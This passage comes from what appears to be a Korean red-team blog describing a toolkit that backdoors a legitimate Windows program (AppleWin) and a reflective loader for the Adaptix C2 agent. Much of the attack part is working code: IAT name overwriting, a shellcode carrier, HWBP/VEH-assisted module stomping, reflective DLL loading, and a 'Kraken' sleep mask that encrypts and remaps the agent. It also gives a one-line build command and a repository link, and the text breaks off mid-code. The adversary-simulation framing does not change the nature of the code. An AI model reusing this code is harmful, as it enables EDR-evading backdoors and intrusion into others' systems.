호스트가 이미 import하는 API(`VirtualProtect`, `Sleep`, `ExitProcess`)는 이렇게 바로 사용하면 된다. 문제는 호스트가 import하지 않는 API가 필요할 때다. 예를 들어, 캐리어는 `FlushInstructionCache` 라는 WinAPI를 사용하는데, 숙주인 AppleWin은 `FlushInstructionCache`를 사용하지 않기 때문에 IAT에 해당 함수가 없다.

이 경우 IAT repair라는 작업을 한다. 각 import의 `IMAGE_IMPORT_BY_NAME` 구조체에는 함수 이름이 ASCII 문자열로 들어있는데, 호스트가 import하지만 쉘코드에게는 필요 없는 API의 이름을 원하는 API 이름으로 덮어씌우는 것이다.

예를 들어, AppleWin은 `FlushInstructionCache`를 import하지 않지만 `DeleteCriticalSection`(21자)은 import한다. 캐리어는 `DeleteCriticalSection`을 사용하지 않으므로, 이 이름을 `FlushInstructionCache`(21자)로 덮어쓴다. Windows 로더가 PE를 로드할 때 이 이름으로 API를 리졸브하므로, 런타임에는 `FlushInstructionCache`의 실제 주소가 해당 IAT 엔트리에 채워진다.

먼저 `plan_iat_repairs()`가 같은 DLL의 import 중에서 이름 길이가 충분하고, 캐리어가 사용하지 않는 후보를 찾는다.

```python
# injectables.py:97-116 — plan_iat_repairs()
for dll, name in required:
    slots = working.get(dll_lower, [])
    if any(slot.name.lower() == name_lower for slot in slots):
        continue    # 이미 호스트가 import하고 있으면 패스

    # 같은 DLL에서 이름이 충분히 길고, 캐리어가 안 쓰는 import를 후보로
    candidates = [
        (len(slot.name), slot.name.lower(), slot.name_offset, index, slot)
        for index, slot in enumerate(slots)
        if slot.name.lower() not in protected[dll_lower]
        and len(slot.name) >= len(name)
    ]
    _, _, _, index, old_slot = sorted(candidates)[0]  # 가장 짧은 이름 선택
```

후보를 찾았으면 `repair_import_name()`이 실제 바이트를 덮어쓴다.

```python
# image.py:158-168 — repair_import_name()
old_name = old_item.name.decode("ascii", errors="strict")

# 새 이름 + 남는 공간은 null 패딩
replacement = name.encode("ascii") + b"\0" * (len(old_name) - len(name))
self.pe.set_bytes_at_offset(name_offset, replacement)
```

#### 5. Carrier 코드

캐리어 코드 자체는 842바이트로 간결하다.

```c
// carrier.c - sg_carrier_run()
static DWORD sg_carrier_run(void)
{
    // 1. destination 영역(.text 내)을 VirtualProtect로 RW로 변경
    destination = sg_memory_allocate(payload_len, &memory_state);

    // 2. .rdata에 있는 인코딩된 페이로드를 XOR 복호화하면서 destination에 복사
    sg_decode_copy(destination, sg_payload_address(), payload_len);

    // 3. destination을 원래 권한(RX)으로 복원 + FlushInstructionCache
    sg_memory_finalize(destination, payload_len, memory_state);

    // 4. destination에서 쉘코드 실행 (= Barrel Kit PIC 시작)
    sg_execute(destination, &context);
}
```

캐리어가 실행되며 메모리 권한을 변경하고, 쉘코드를 XOR 복호화 한 뒤 destination에 복사하고, destination은 `.text` 섹션에 있으니 원래 RX 권한으로 복원한 뒤, `FlushInstructionCache`을 사용해 쉘코드를 실행한다.

#### 그 외

그 외 페이로드 (쉘코드)를 맨 처음 input 파일로 받으면 XOR stream 인코딩을 하고, 맨 마지막 백도어된 PE 파일에 Self-Signing 코드 서명을 하는 부분도 있지만, 그렇게까지 중요하지는 않아서 패스한다.

### 정리

백엔드에서는 복잡한 코드가 돌고 있지만, 오퍼레이터는 아래의 cli 한줄만 치면 알아서 백도어된 PE파일을 만들 수 있게 된다.

```bash
py barrel-giga.py build --input agent.x64.bin --injectable AppleWin-x64.exe --output applewin-barrel.exe
```

결과물인 `applewin-barrel.exe`는:

* PE 구조가 원본 AppleWin과 동일 (섹션 수, 크기, 이름)
* 엔트리포인트 RVA 동일
* Authenticode 서명 + 타임스탬프 포함
* 실행하면 Barrel Kit PIC → UDRL → Struggle Agent 로딩
* 원본 AppleWin 코드는 실행되지 않음 (캐리어가 하이재킹)


# 5. Barrel-Kit UDRL

## Struggle & UDRL - Barrel Kit

이번 페이지에서는 Struggle과 오퍼레이션 더블 배럴에서 사용됐던 Reflective Loading 담당의 UDRL (User-Defined Reflective Loader), 그리고 그 안에 들어가는 다양한 기법들에 대해서 알아본다.

### 코드

<https://github.com/ChoiSG/Operation-Triple-Barrel/tree/main/barrel-kit>

### 데모

{% file src="/files/QsOCJzGgXq9sz8XuI3Ly" %}

## Struggle --> Adaptix C2&#x20;

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FB2Aknjuo3MtCHEIPIln8%2F178991823.png?alt=media&amp;token=909fc15f-b905-414e-aabc-4dba4fbddd2a" alt=""><figcaption></figcaption></figure>

공격자들이 사용한 메인 백도어 코드. 일반적인 공격자 시뮬레이션에서는 기본적으로 상용 C2 프레임워크를 사용하지만, 공개적인 프로젝트인 만큼 많은 사람들이 확인할 수 있도록 오픈소스 C2 프레임워크 [Adaptix C2](https://github.com/Adaptix-Framework/AdaptixC2/tree/testing-v2.0)를 차용했다. 이후 설명할 UDRL 및 쉘코드 로더만 제대로 제작해도 업계 EDR 솔루션들을 우회하는데에는 큰 문제가 없었기 때문에 Adaptix C2는 있는 그대로 사용했다.

AI를 활용해 백도어/C2 프레임워크 자체를 만드것도나쁘진 않았겠지만, 비슷한 시도도 많이 있었고, 이미 실제 공격자들 또한 오픈소스 C2를 그대로 사용하거나 개조해서 사용하는 경우도 많이 때문에 본 프로젝트에서도 그 방향을 택했다.

Adaptix C2의 소스 코드는 크게 바꾸지 않았다. 하지만, SOCKS Proxy implementation에 있어서 CDN을 사용했을 때의 문제가 있어 프록시 및 터널링 할 때의 트래픽

## UDRL (User-Defined Reflective Loader)

오퍼레이션 더블 배럴에서 간단하게 `Reflective DLL Loading` 이라고 나오지만, 현대 AV/EDR 솔루션들을 우회하는데 있어서 가장 중요한 부분은 UDRL이라고 볼 수 있다. 이 부분은 AI를 이용해서 빠르게 제작해봤다.

UDRL는 꽤 복잡하기 때문에 모든 개념과 기법에 대해 설명할 수 없다. 따라서, 이 글에서는 아래의 개념들만 간단하게 다룬다.

* Reflective Loading
* Module Stomping
* Sleep Masking
* Callstack Spoofing

UDRL 개발에는 Cobalt Strike의 제작자이자, 전설적인(?) Maldev/Red teamer인 [Raphael Mudge](https://aff-wg.org/about/)의 [Crystal Palace (CPL)](https://tradecraftgarden.org/crystalpalace.html) 프로젝트를 활용한다. CPL과 관련된 내용은 너무 길어져 생략한다.

### 전체구조

앞서 몇 번 나왔지만, 오퍼레이션 트리플 배럴에서 개발한 UDRL + 호스트 PE 파일의 구조는 다음과 같다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2F56yB2TiC9zRgVJ9lYger%2Ffull-diagram.png?alt=media&amp;token=98e165c7-bb22-4047-9b69-1e9190fa0e19" alt=""><figcaption></figcaption></figure>

이 중, Barrel Kit을 통해 만들어진 UDRL은 #4번부터 #17번까지를 담당한다. 본격적으로 쉘코드가 실행될 때 가장 앞에 PIC 형태로 있는 UDRL이 희생양 DLL 2개를 로드하고, PICO라는 또 다른 PIC와, Adaptix C2의 Beacon DLL를 각각의 DLL에 로드한다. 모든 준비가 끝나면 Beacon DLL로 Execution을 넘기면 된다.

Barrel Kit은 이 UDRL을 만들어주는 키트로서, UDRL 그 자체와 슬립 마스킹 및 다양한 방어 회피 기법을 탑재하는 PICO 제작을 자동화 해준다. UDRL과 PICO에는 다양한 기법들이 있지만, 오퍼레이션 더블 배럴 보고서에 나온 "Reflective Loading"에 대해서 집중적으로 알아본다. 하지만 그 전에, 희생양 DLL들을 불러와 안전한 `.text` 섹션에 Beacon DLL과 PICO를 올리는 모듈 스톰핑 기법과, 쉘코드 (UDRL + BeaconDLL)의 형태에서 UDRL이 어떻게 Beacon DLL을 찾아서 복호화 하는지에 대해서 알아보자.

### 0. UDRL - 리소스 추출 & DLL 복호화

본격적인 모듈스톰핑과 Reflective Loading에 앞서, 쉘코드 데이터 안에 임베디드된 비컨 DLL을 찾아 추출하고 복호화해야 한다. 이를 위해 Crystal Palace(CPL)는 링크 타임에 세 개의 섹션을 PIC 안에 삽입한다:

```c
char _PICO_ [0] __attribute__((section("pico")));   // PICO 런타임 코드
char _MASK_ [0] __attribute__((section("mask")));   // 128바이트 XOR 키
char _DLL_  [0] __attribute__((section("dll")));    // XOR 암호화된 Adaptix DLL
```

배열의 길이가 0처럼 보이지만, 링크 타임 중 CPL이 실제 데이터를 해당 섹션에 채워넣기 때문에 런타임에는 해당 주소에서 바이너리 데이터를 읽을 수 있다. `loader.spec`에서 128바이트 랜덤 키를 생성하고, 에이전트 DLL을 XOR 마스킹한 뒤 링크한다. `go()`에서는 이걸 다시 XOR해서 스테이징 버퍼에 풀어놓는다:

```c
// loader.c:125-132
char * dll_src = KERNEL32$VirtualAlloc(
    NULL, masked_dll->len,
    MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

for (int i = 0; i < masked_dll->len; i++)
    dll_src[i] = masked_dll->value[i] ^ mask_key->value[i % mask_key->len];
```

복호화된 DLL은 `dll_src`에 올라간다. 이제 이 Beacon DLL과 PICO를 로드할 안전한 메모리 공간을 확보해야 한다. 이를 위에서는 모듈 스톰핑 (Module Stomping) 기법에 대해서 알아보자.

### 1. UDRL - Module Stomping

#### 모듈 스톰핑은 왜 쓸까?

일반적인 `VirtualAlloc(PAGE_EXECUTE_READWRITE)`로 메모리를 할당하면 메모리 스캐너가 즉시 탐지한다. `VirtualAlloc`으로 할당된 메모리는 `MEM_PRIVATE`이고, `MEM_PRIVATE` + `PAGE_EXECUTE*` 조합은 "여기 쉘코드 있습니다"라고 광고하는 것과 다름없다. 상용 EDR은 물론이거니와, 요즘에는 간단한 AV 솔루션들까지 이를 탐지한다. 이를 어찌저찌 우회했다고 하더라도 추후 악성 행위를 할 때 콜 스택 트레이싱(Call Stack Tracing)을 통해 행위가 어디서 시작됐는지를 보면, 굉장히 수상해보이는 `MEM_PRIVATE`이 출발지점으로 찍히게 되고, 이렇게 메모리상의 쉘코드가 탐지된다.

모듈 스톰핑은 이 문제를 우회하는 기법 중 하나다. `LoadLibrary`로 정상 DLL을 로드하고, 그 DLL의 `.text` 섹션 위에 공격자의 코드를 올린다. 이렇게 하면 메모리 타입이 `MEM_IMAGE`(SEC\_IMAGE 기반)로 유지되고, PE 헤더, `.rdata`, `.pdata`도 건드리지 않으니 메모리 스캐너가 보기에 유효한 PE 구조가 그대로 남는다.

```c
// loader.c:139-149 - 두 개의 희생 DLL을 각각 할당
stomp_alloc_pico(pico_code_sz, pico_data_sz, &memory)
char * dll_dst = (char *) stomp_alloc_dll(SizeOfDLL(&dll_data), &memory);
```

Beacon DLL과 PICO는 서로 다른 희생 DLL에 올라간다. 크라켄 슬립(Kraken Sleep) 때문인데, 이에 대해서는 추후 섹션에서 알아본다.

#### HWBP + VEH

그런데, 모듈 스톰핑을 할 때 냅다 그냥 `LoadLibrary` winapi를 사용해 DLL 불러온 다음 `.text` 섹션에다가 쉘코드를 올려버리면 몇 가지 문제가 발생한다.

1. **Copy-on-Write**: `SEC_IMAGE` 페이지에 데이터를 쓰면 CoW로 인해 private page가 되며, `QueryWorkingSetEx`의 Shared bit가 해제되며 바로 탐지된다.
2. **DllMain 실행**: `LoadLibrary`가 완료되면 DLL의 `DllMain`이 실행되면서 원치 않는 초기화나 스레드 생성이 일어난다.
3. **Clean 섹션 핸들**: 나중에 크라켄 슬립에서 에이전트를 언맵한 뒤, 같은 주소에 깨끗한 DLL을 다시 맵핑하려면 on-disk DLL의 `SEC_IMAGE` 섹션 핸들이 필요하다.

이 세 가지 문제를 해결하기 위해 Hardware Breakpoint (HWBP) + Vectored Exception Handler (VEH) 기법을 사용한다.

VEH는 프로세스 전역 예외 핸들러다. `AddVectoredExceptionHandler`로 VEH를 등록하면, 프로세스 내에서 예외가 발생할 때 호출된다. HWBP는 CPU의 디버그 레지스터(DR0\~DR3)에 특정 주소를 설정해두면, 해당 주소의 명령어가 실행될 때 `EXCEPTION_SINGLE_STEP` 예외를 발생시키는 메커니즘이다. 소프트웨어 breakpoint (`INT3`)와 달리 메모리의 바이트를 수정하지 않기 때문에, 무결성 검사를 우회할 수 있다.

이 둘을 조합하면, `LoadLibraryW` 실행 도중 ntdll 내부 함수 세 곳에 HWBP를 걸어두고, 각 브레이크포인트가 트리거될 때 VEH가 인자를 조작하거나 핸들을 가로채는 방식으로 `LoadLibrary`의 동작을 중간에서 바꿀 수 있다.

실제 코드를 보자. `try_stomp()` 안에서 VEH 등록 → HWBP 설치 → `LoadLibraryW` 호출 → HWBP 해제 → VEH 해제가 순차적으로 일어난다:

```c
// load_phantom.c:662-698 - try_stomp() 내부

// 1. ntdll에서 HWBP를 걸 함수 주소를 리졸브
vst->pNtCreateSection    = KERNEL32$GetProcAddress(ntdll, "NtCreateSection");
vst->pNtMapViewOfSection = KERNEL32$GetProcAddress(ntdll, "NtMapViewOfSection");
vst->pRtlImageNtHeaderEx = KERNEL32$GetProcAddress(ntdll, "RtlImageNtHeaderEx");

// 2. VEH 핸들러 등록 (첫 번째 핸들러로, SEH보다 먼저 호출됨)
set_veh_state(vst);
veh_handle = fn_add(1, (PVOID) stomp_exception_handler);

// 3. 별도 워커 스레드를 통해 DR0/DR1/DR2에 HWBP 설치
hwbp_apply(k32, vst->pNtCreateSection, vst->pNtMapViewOfSection, vst->pRtlImageNtHeaderEx, FALSE);

// 4. LoadLibraryW 호출 - 내부에서 HWBP가 트리거되며 VEH가 개입
hModule = apis->LoadLibraryW(path);

// 5. HWBP 해제 + VEH 해제
hwbp_apply(k32, NULL, NULL, NULL, TRUE);   // DR0~DR2 클리어
fn_rem(veh_handle);                        // VEH 핸들러 제거
```

`LoadLibraryW` 내부에서 `NtCreateSection` → `NtMapViewOfSection` → `RtlImageNtHeaderEx`가 순서대로 호출되고, 각각 DR0, DR1, DR2 HWBP가 트리거되며 VEH 핸들러(`stomp_exception_handler`)가 개입한다.

각 브레이크포인트가 트리거됐을 때 VEH 핸들러가 하는 일은 다음과 같다.

**DR0: `NtCreateSection`** - 접근 마스크를 `SECTION_ALL_ACCESS`로 업그레이드한다. 기본적으로 `LoadLibrary`는 `SECTION_MAP_EXECUTE` 정도만 요청하는데, 나중에 Kraken sleep에서 이 섹션을 `NtMapViewOfSection`으로 리맵하려면 더 넓은 권한이 필요하다.

```c
// load_phantom.c:254-336 - VEH 핸들러

// DR0: NtCreateSection
if (addr_hit(rec->ExceptionAddress, st->pNtCreateSection)) {
    ctx->Rdx = SECTION_ALL_ACCESS;  // 나중에 리맵할 수 있도록
    ctx->Dr0 = 0;                   // BP 해제
}
```

**DR1: `NtMapViewOfSection`** - `LoadLibrary`가 만든 섹션 핸들을 `DuplicateHandle`로 복제해서 보관한다. 이 핸들(`hSacSection`)이 Kraken sleep의 열쇠다.

```c
// DR1: NtMapViewOfSection
if (addr_hit(rec->ExceptionAddress, st->pNtMapViewOfSection)) {
    KERNEL32$DuplicateHandle(
        -1, (HANDLE) ctx->Rcx,      // LoadLibrary가 만든 섹션 핸들
        -1, &st->hSacSection,       // (!!중요!!) 크라켄 슬립을 위해 보관할 섹션 핸들 복제본
        0, 0, DUPLICATE_SAME_ACCESS);
}
```

**DR2: `RtlImageNtHeaderEx`** - LDR 엔트리를 찾아서 `EntryPoint`를 `ret` 가젯으로, `TlsIndex`를 `-1`로 패치한다. `EntryPoint`가 `ret`이 되면 `DllMain`이 호출되더라도 아무것도 안 하고 바로 리턴하고, `TlsIndex`가 `-1`이면 TLS 콜백도 방지된다.

```c
// DR2: RtlImageNtHeaderEx
if (addr_hit(rec->ExceptionAddress, st->pRtlImageNtHeaderEx)) {
    // LDR 엔트리 탐색 후:
    // EntryPoint → ret 가젯 (DllMain이 no-op)
    // TlsIndex → -1 (TLS 콜백 방지)
    patch_ldr_entry(st);
}
```

#### Chunked VirtualProtect

DLL을 로드했다면 쉘코드를 쓰기 위해 `.text` 섹션의 권한을 RW로 바꾼다. Drip loading처럼, 메모리의 권한을 조금씩 바꾸는 Drip protect를 실행한다.

```c
// load_phantom.c:496-510
#define STOMP_VP_CHUNK 0x2000

BOOL stomp_protect_chunked(FN_VirtualProtect vp, LPVOID base, SIZE_T size, DWORD prot)
{
    for (off = 0; off < size; off += STOMP_VP_CHUNK) {
        SIZE_T chunk = size - off;
        if (chunk > STOMP_VP_CHUNK) chunk = STOMP_VP_CHUNK;
        vp((char *) base + off, chunk, prot, &old);
    }
}
```

#### PICO 복사

`LoadLibraryW` + VEH/HWBP로 희생 DLL을 안전하게 로드하고, Chunked VirtualProtect로 `.text`를 RW로 만들었으면, 이제 PICO를 복사할 차례다. PICO는 PE가 아니라 PIC이기 때문에 rDLL 같은 복잡한 로딩이 필요 없다. Crystal Palace의 `PicoLoad()`를 사용한다.

```c
// loader.c:153-175
char * pico_code = (char *) memory.Pico.Code;   // 희생 DLL #1의 .text
char * pico_data = (char *) memory.Pico.Data;   // 희생 DLL #1의 .data

// PICO 바이트를 희생 DLL의 .text/.data에 복사 + 포인터 패치
PicoLoad(&funcs, pico_src, pico_code, pico_data);

// 복사가 끝났으니 .text를 RX로 되돌림
stomp_protect_chunked(KERNEL32$VirtualProtect,  pico_code, pico_code_sz, PAGE_EXECUTE_READ);
```

Beacon DLL은 PE 구조를 가지고 있으니, PICO처럼 단순 복사가 아니라 rDLL (Reflective DLL Loading)로 처리해야 한다. 이건 바로 다음 섹션에서 다룬다.

#### 정리 작업

모듈 스톰핑이 끝나면 후처리를 한다:

1. 희생 DLL이 생성했을 수 있는 스레드들을 `kill_module_threads()`로 종료 (`.text` 범위 안에 시작 주소가 있는 스레드 탐색)
2. `.text`를 제로 초기화 (PICO BSS 영역 필요)
3. `ADV_STOMP_DATA` 구조체를 채워서 `MEMORY_LAYOUT`에 저장 - Kraken sleep이 이 데이터를 사용한다

### 2. UDRL - Reflective DLL Loading (rDLL)

모듈 스톰핑으로 안전한 메모리 공간을 확보했으면, 본격적으로 rDLL을 진행한다. Barrel-Kit에서는 Crystal Palace의 LibTCG에 있는 코드를 사용해 rDLL을 하지만, rDLL이 정확히 어떻게 이뤄지는지 간단하게 소스코드를 훑어본다.

PE파일 구조와 rDLL은 잘 알려진 지식/정보이기 때문에 빠르게 넘어간다.

rDLL은 다음과 같이 이뤄진다:

1. PE 구조 파싱
2. 헤더 + 섹션 복사
3. Relocation
4. IAT 처리
5. 섹션 권한 설정
6. DLLMain() 실행

```c
// loader.c:183-204
LoadDLL(&dll_data, dll_src, dll_dst);
ProcessImports(&funcs, &dll_data, dll_dst);

fix_permissions(&dll_data, dll_dst, &memory.Dll);

DLLMAIN_FUNC entry = EntryPoint(&dll_data, dll_dst);
entry((HINSTANCE) dll_dst, DLL_PROCESS_ATTACH, NULL);
```

#### 1. PE Parsing

DLL 바이너리에서 DOS 헤더 → NT 헤더 → Optional 헤더를 추출한다. 이후 모든 단계가 이 구조체들을 참조한다.

```c
// libtcg/loaddll.c
void ParseDLL(char * src, DLLDATA * data) {
    data->DosHeader      = (IMAGE_DOS_HEADER *)src;
    data->NtHeaders      = (IMAGE_NT_HEADERS *)(src + data->DosHeader->e_lfanew);
    data->OptionalHeader = (IMAGE_OPTIONAL_HEADER *)&(data->NtHeaders->OptionalHeader);
}
```

#### 2. 헤더 + 섹션 복사

`LoadDLL()`은 먼저 PE 헤더를 목적지에 복사한 뒤, 각 섹션(`.text`, `.data`, `.rdata`, 등)을 하나씩 올린다.

```c
// libtcg/loaddll.c
void LoadDLL(DLLDATA * dll, char * src, char * dst) {
    __movsb((unsigned char *)dst, (unsigned char *)src, dll->OptionalHeader->SizeOfHeaders);
    LoadSections(dll, src, dst);
    ProcessRelocations(dll, src, dst);
}

void LoadSections(DLLDATA * dll, char * src, char * dst) {
    DWORD numberOfSections = dll->NtHeaders->FileHeader.NumberOfSections;
    IMAGE_SECTION_HEADER * sectionHdr = (IMAGE_SECTION_HEADER *)
        PTR_OFFSET(dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader);

    for (int x = 0; x < numberOfSections; x++) {
        __movsb(dst + sectionHdr->VirtualAddress,
                src + sectionHdr->PointerToRawData,
                sectionHdr->SizeOfRawData);
        sectionHdr++;
    }
}
```

#### 3. Relocation

Relocation을 통해 DLL PE 파일에서 의도했던 베이스 주소 (`ImageBase`)와 실제 로드된 주소 (`dst`)가 다를거기 때문에, 절대 주소를 참조하는 모든 코드를 Relocation Table에서 찾아 재배치 해준다.

```c
// libtcg/loaddll.c
void ProcessRelocations(DLLDATA * dll, char * src, char * dst) {
    IMAGE_DATA_DIRECTORY * relocationData = 
        GetDataDirectory(dll, IMAGE_DIRECTORY_ENTRY_BASERELOC);
    ULONG_PTR newBaseAddress = (ULONG_PTR)dst - (ULONG_PTR)dll->OptionalHeader->ImageBase;

    if (relocationData->Size) {
        IMAGE_BASE_RELOCATION * relocation = 
            (IMAGE_BASE_RELOCATION *)(dst + relocationData->VirtualAddress);

        while (relocation->SizeOfBlock) {
            ProcessRelocation(dll, src, dst, relocation, newBaseAddress);
            relocation = (IMAGE_BASE_RELOCATION *)
                PTR_OFFSET(relocation, relocation->SizeOfBlock);
        }
    }
}
```

`newBaseAddress`는 원래 주소와 실제 주소의 차이(delta)다. Relocation 테이블의 각 엔트리에 이 delta를 더해주면 된다. x64에서는 대부분 `IMAGE_REL_BASED_DIR64` 타입이다.

#### 4. Import 처리 (IAT)

DLL이 사용하는 외부 API들의 주소를 리졸브(resolve)해서 IAT(Import Address Table)에 채워넣는다.

```c
// libtcg/loaddll.c
void ProcessImport(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst, 
                   IMAGE_IMPORT_DESCRIPTOR * importDesc) {
    void * hLib = (void *)funcs->LoadLibraryA(
        (char *)PTR_OFFSET(dst, importDesc->Name));

    IMAGE_THUNK_DATA * firstThunk = 
        (IMAGE_THUNK_DATA *)PTR_OFFSET(dst, importDesc->FirstThunk);
    IMAGE_THUNK_DATA * originalFirstThunk = 
        (IMAGE_THUNK_DATA *)PTR_OFFSET(dst, importDesc->OriginalFirstThunk);

    while (DEREF(firstThunk)) {
        if (originalFirstThunk && (originalFirstThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG)) {
            DEREF(firstThunk) = (ULONG_PTR)funcs->GetProcAddress(
                hLib, (char *)IMAGE_ORDINAL(originalFirstThunk->u1.Ordinal));
        } else {
            IMAGE_IMPORT_BY_NAME * importByName = 
                (IMAGE_IMPORT_BY_NAME *)PTR_OFFSET(dst, firstThunk->u1.AddressOfData);
            DEREF(firstThunk) = (ULONG_PTR)funcs->GetProcAddress(
                hLib, (char *)importByName->Name);
        }
        firstThunk++;
        if (originalFirstThunk) originalFirstThunk++;
    }
}
```

여기서 중요한 건 `funcs->GetProcAddress`다. 이 시점에서 PICO의 `setup_hooks()`가 이미 실행된 상태이기 때문에, `funcs->GetProcAddress`는 진짜 `GetProcAddress`가 아니라 PICO의 `_GetProcAddress`를 가리킨다. 즉, IAT에 API 주소를 채우는 과정에서 자동으로 PICO의 훅 함수들이 끼워들어간다. `Sleep` → `_KrakenSleep`, `HeapAlloc` → `_HeapAlloc`, `WaitForSingleObject` → `_WaitForSingleObject` 등, 에이전트가 호출하는 34개의 API가 PICO를 경유하게 된다.

#### 5. 섹션 권한 설정

마지막으로, 각 섹션에 적절한 메모리 permission을 부여한다.

```c
// loader.c:78-103
static void fix_permissions(DLLDATA * dll, char * dst, DLL_MEMORY * dll_mem) {
    DWORD count = dll->NtHeaders->FileHeader.NumberOfSections;
    IMAGE_SECTION_HEADER * sec = (IMAGE_SECTION_HEADER *)
        PTR_OFFSET(dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader);

    for (int i = 0; i < (int) count; i++) {
        DWORD prot = section_protect(sec->Characteristics);
        DWORD sz   = sec->Misc.VirtualSize > sec->SizeOfRawData
                   ? sec->Misc.VirtualSize : sec->SizeOfRawData;

        stomp_protect_chunked(KERNEL32$VirtualProtect,
            dst + sec->VirtualAddress, sz, prot);
        sec++;
    }
}
```

#### 6. DllMain 실행

모든 준비가 끝나면, Optional 헤더의 `AddressOfEntryPoint`를 통해 DllMain을 호출한다.

```c
// loader.c:192-195
DLLMAIN_FUNC entry = EntryPoint(&dll_data, dll_dst);
KERNEL32$VirtualFree(dll_src, 0, MEM_RELEASE);   // 스테이징 버퍼 해제
entry((HINSTANCE) dll_dst, DLL_PROCESS_ATTACH, NULL);
```

이 시점에서 Adaptix C2 에이전트가 시작된다. 스테이징 버퍼(복호화된 DLL 원본)는 더 이상 필요 없으므로 해제한다.

### 3. PICO - Kraken Sleeping

Adaptix C2 에이전트 (Beacon DLL)이 실행되면, 악성 행위를 진행한다. 그 뒤, Sleep을 한다. 에이전트가 Sleep을 호출하면, `pico.spec`에서 선언되었던 IAT 훅을 통해 PICO의 `_KrakenSleep`이 실행된다.

대략적인 크라켄 슬립의 큰 그림은 다음과 같이 이뤄진다:

```c
// sleep_kraken_adv.c:301-317
// 에이전트 Sleep -> PICO IAT hook -> _KrakenSleep() 실행 
VOID WINAPI _KrakenSleep(DWORD milliseconds)
{
    if (milliseconds >= 1500 && g_memory.DllAllocMethod == ALLOC_MODULESTOMP) {
        HANDLE never = KERNEL32$CreateEventA(NULL, TRUE, FALSE, NULL);
        BOOL ok = kraken_wait(&g_memory, never, milliseconds, &result);
        KERNEL32$CloseHandle(never);
        if (ok) return;
    }
    real_sleep(milliseconds);
}

// sleep_kraken_adv.c:241-298
// 크라켄 슬립을 위한 준비 
BOOL kraken_wait(MEMORY_LAYOUT * memory, HANDLE handle, DWORD milliseconds, PDWORD result)
{
    // API 함수 포인터 리졸브 
    // 백업 버퍼 초기화, RC4 키 생성, KRAKEN_PARAMS 채우기 
    // .  . . 

    ok = run_kraken(&params);
    if (ok) *result = params.waitResult;
    return ok;
}

// sleep_kraken_adv.c:80-154
// 크라켄 슬립. 아래 섹션에서 더 자세히 설명
static BOOL run_kraken(KRAKEN_PARAMS * p)
{
    // 1. mapped image 범위 → 백업 
    // 2. RC4 암호화 (백업 + 힙)
    // 3. NtUnmapViewOfSection (에이전트 이미지 언맵)
    // 4. NtMapViewOfSection (hSacSection → 클린 DLL 리맵)
    // 5. WaitForSingleObjectEx (슬립)
    // 6. RC4 복호화 → .text 복원 → 섹션 권한 복구
    return TRUE;
}
```

#### Ekko vs. Kraken

공개적으로 가장 널리 알려진 sleep masking 기법은 `CreateTimerQueueTimer`를 사용하는 Ekko다. 타이머 큐(Timer Queue)에 `NtContinue()` 기반의 ROP 체인을 등록하고, `VirtualProtect(RW)` → `SystemFunction032(암호화)` → `WaitForSingleObjectEx(대기)` → `SystemFunction032(복호화)` → `VirtualProtect(RX)` - 이 순서대로 OS 타이머 스레드가 체인을 실행하는 방식이다. 메인 스레드는 중간에 멈추지 않고, 다른 스레드가 전부 처리해주기 때문에 구현이 깔끔하다.

하지만 Ekko 스타일에는 한계가 있다. 타이머 콜백의 인자가 하나(`PVOID`)뿐이라 복잡한 로직을 넣기 어렵고, 콜백 체인의 실행 순서에 의존하는 구조라 디버깅이 까다롭다. 무엇보다 `CreateTimerQueueTimer`에 `VirtualProtect`, `SystemFunction032` 같은 함수 포인터를 콜백으로 등록하는 패턴 자체가 잘 탐지된다.

Kraken은 타이머 큐 대신 **에이전트의 메인 스레드가 PICO 코드를 경유해서 직접** sleep masking 로직을 실행한다. 에이전트가 `Sleep`이나 `WaitForSingleObject`를 호출하면, CPL의 IAT 훅을 통해 PICO의 `_KrakenSleep` → `kraken_wait()` → `run_kraken()`이 같은 스레드에서 순차 실행된다. 별도 스레드에 위임하지 않기 때문에 타이밍 이슈가 없고, 확장도 자유롭다.

중요한 점은 실제 크라켄 코드가 실행되는 메모리상의 주소는 PICO가 맵핑된 곳이며, 여긴 별도의 희생 DLL 이라는 점이다. `run_kraken()`이 에이전트 이미지를 `NtUnmapViewOfSection`으로 언맵(Unmap) 하는 순간, 실행 중인 코드가 그 이미지 안에 있으면 크래시한다. 하지만 PICO가 다른 DLL에 있으니까 에이전트가 로드되어 있던 이미지가 날아가도 PICO 코드는 살아남아 슬립을 계속 실행할 수 있다. UDRL의 구조를 Loader / PICO 두 개로 나눈 이유이자, 위 모듈 스톰핑에서 희생양 DLL을 2개 따로따로 맵핑한 이유이기도 하다.

#### Kraken Sleep: 백업 → 암호화 → 언맵 → 리맵 → 대기

`run_kraken()`의 전반부. Beacon DLL의 메모리와 힙을 백업 및 암호화하고, 로드되어 있던 DLL를 언맵(Unmap) 한 뒤, 완전히 깨끗한 실제 DLL을 다시 리맵(Remap)한다. 그 뒤, 슬립에 들어간다.

```c
// sleep_kraken_adv.c:80-120

// 1. 에이전트 코드(.text)를 백업 버퍼에 복사
for (i = 0; i < p->stompSize; i++)
    ((BYTE *) p->backup)[i] = ((BYTE *) p->stompStart)[i];

// 2. RC4로 백업 암호화 (SystemFunction032)
key.Buffer = p->key;
key.Length = key.MaximumLength = KRAKEN_KEY_LEN;
data.Buffer = p->backup;
data.Length = data.MaximumLength = (DWORD) p->stompSize;
p->crypt(&data, &key);

// 3. Beacon이 했던 힙 할당도 전부 RC4 암호화
for (i = 0; i < p->heapCount; i++) {
    HEAP_RECORD * record = &p->heapRecords[i];
    if (record->Address == NULL || record->Size == 0)
        continue;
    data.Buffer = record->Address;
    data.Length = data.MaximumLength = (DWORD) record->Size;
    p->crypt(&data, &key);
}

// 4. 에이전트가 올라가 있는 stomped 이미지를 언맵
status = p->unmap((HANDLE)(LONG_PTR) -1, p->imageBase);

// 5. 같은 주소에 깨끗한 DLL을 리맵
base = p->imageBase;
viewSize = 0;
status = p->map(
    p->hSection,                    // 모듈 스톰핑 때 캡처한 깨끗한 섹션 핸들
